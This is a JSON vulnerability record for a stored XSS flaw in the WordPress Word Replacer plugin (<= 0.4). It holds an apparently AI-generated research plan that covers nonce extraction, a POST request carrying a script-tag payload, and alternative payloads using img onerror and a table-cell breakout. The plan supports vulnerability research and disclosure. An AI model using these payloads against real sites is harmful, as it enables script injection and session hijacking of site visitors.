[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3DZJ-8gk7VfPbVExMprTXM2F59v-PZBayK-8g8uviS4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":24,"research_started_at":25,"research_completed_at":26,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":27},"CVE-2026-3620","word-replacer-authenticated-administrator-stored-cross-site-scripting-via-replacement-parameter","Word Replacer \u003C= 0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Replacement' Parameter","The Word Replacer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replacement' parameter in all versions up to, and including, 0.4. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","word-replacer",null,"\u003C=0.4","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Input Validation","2026-06-01 19:45:02","2026-06-02 07:48:32",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb827f0e1-b8ee-4015-a608-45505f43b324?source=api-prod",[],"researched",false,3,"This research plan targets CVE-2026-3620, a Stored Cross-Site Scripting (XSS) vulnerability in the **Word Replacer** plugin (\u003C= 0.4).\n\n### 1. Vulnerability Summary\nThe Word Replacer plugin allows administrators to define a list of words or phrases to be automatically replaced across the site's content. The vulnerability exists because the `replacement` parameter, which defines the new string to be inserted, is neither sanitized when saved to the database nor properly escaped when rendered on the frontend. Since the replacement occurs via content filters (like `the_content`), the injected script executes in the context of any user viewing a page where the replacement has been triggered.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** Admin settings page, typically found at `wp-admin\u002Foptions-general.php?page=word-replacer` or `wp-admin\u002Fadmin.php?page=word-replacer`.\n*   **Vulnerable Parameter:** `replacement` (likely part of an array, e.g., `replacement[]` or a field named `word_replacer_replacement`).\n*   **Authentication:** Administrator-level privileges are required.\n*   **Impact:** Stored XSS. An attacker with admin access (or via CSRF if nonces are missing) can inject scripts that execute for all site visitors, including other administrators, potentially leading to session hijacking or further site compromise.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers an admin page via `add_options_page()` or `add_menu_page()` during the `admin_menu` hook.\n2.  **Data Ingestion:** When the admin saves settings, the plugin processes `$_POST`. It likely uses `update_option()` to store pairs of \"original\" and \"replacement\" strings.\n3.  **Missing Sanitization:** Before `update_option()`, the code fails to apply `wp_kses()` or `sanitize_text_field()` to the replacement string.\n4.  **Content Filtering:** The plugin registers a filter on `the_content` (and possibly `the_title` or `comment_text`):\n    `add_filter('the_content', 'word_replacer_filter');`\n5.  **Execution Sink:** Inside the filter, the plugin performs a replacement (likely using `str_replace` or `preg_replace`).\n6.  **Missing Output Escaping:** The result of the replacement is returned directly to the content stream without being passed through `esc_html()` or similar functions, allowing the browser to execute the injected HTML\u002FJS.\n\n### 4. Nonce Acquisition Strategy\nSince the attacker must be an Administrator, the easiest way to handle nonces is to use the `browser_eval` tool to extract them from the settings form.\n\n1.  **Navigate:** Use `browser_navigate` to go to the Word Replacer settings page: `\u002Fwp-admin\u002Foptions-general.php?page=word-replacer`.\n2.  **Identify Nonce:** The settings form will likely contain a hidden input field for the nonce.\n3.  **Extract:**\n    ```javascript\n    \u002F\u002F Inferred nonce field names\n    browser_eval(\"document.querySelector('input[name=\\\"_wpnonce\\\"]')?.value || document.querySelector('input[name=\\\"word_replacer_nonce\\\"]')?.value\")\n    ```\n4.  **Bypass Check:** If the plugin uses the WordPress Settings API (`register_setting`), the nonce is handled automatically by `options.php`. If it uses a custom POST handler, check if `check_admin_referer()` is actually called.\n\n### 5. Exploitation Strategy\nThe goal is to save a replacement rule where the replacement string contains an XSS payload.\n\n**Step 1: Discover Form Structure**\nNavigate to the settings page and inspect the input names for \"Original Word\" and \"Replacement Word\".\n*   *Assumption:* Original field is `original[]` and replacement is `replacement[]`.\n\n**Step 2: Submit Payload**\nSubmit a POST request to the settings handler (either `options.php` or the settings page itself).\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Foptions.php` (if using Settings API) or `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Foptions-general.php?page=word-replacer`.\n*   **Method:** POST\n*   **Payload:**\n    ```\n    action=update&\n    option_page=word_replacer_settings&\n    _wpnonce=[EXTRACTED_NONCE]&\n    word_replacer_original[0]=VULN_CHECK&\n    word_replacer_replacement[0]=\u003Cscript>alert(document.domain)\u003C\u002Fscript>VULN_CHECK\n    ```\n\n**Step 3: Trigger Execution**\nCreate a public post containing the string `VULN_CHECK`.\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `word-replacer` version 0.4 is active.\n2.  **Administrative User:** Login as `admin`.\n3.  **Target Content:**\n    ```bash\n    wp post create --post_title='XSS Trigger Page' --post_content='This is a test for VULN_CHECK.' --post_status='publish'\n    ```\n\n### 7. Expected Results\n*   The settings page should accept the `\u003Cscript>` tag without stripping it.\n*   When visiting the \"XSS Trigger Page\", the word `VULN_CHECK` should be preceded\u002Freplaced by the script tag.\n*   The browser should execute `alert(document.domain)`.\n\n### 8. Verification Steps\n1.  **Database Check:**\n    ```bash\n    wp option get word_replacer_settings --format=json\n    # Verify the 'replacement' value contains the raw \u003Cscript> tag.\n    ```\n2.  **Frontend Source Check:**\n    Use `http_request` to fetch the trigger post and grep for the raw payload.\n    ```bash\n    # Replace URL with the actual post URL\n    http_request \"http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]\" | grep \"\u003Cscript>alert\"\n    ```\n\n### 9. Alternative Approaches\n*   **Attribute-based XSS:** If `\u003Cscript>` tags are somehow blocked by a firewall, try an image attribute:\n    `replacement = \u003Cimg src=x onerror=alert(1)>`\n*   **Admin-Dashboard XSS:** Check if the replacement rules are also rendered unescaped on the plugin's own settings page (Reflected or Stored XSS in the admin UI). If the plugin displays the \"Current Replacements\" in a table, it might be vulnerable there too:\n    `original = normal_word`\n    `replacement = \u003C\u002Ftd>\u003Cscript>alert(1)\u003C\u002Fscript>\u003Ctd>` (Attempting to break out of a table cell).","gemini-3-flash-preview","2026-06-04 14:28:31","2026-06-04 14:28:51",{"type":28,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":29},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fword-replacer\u002Ftags"]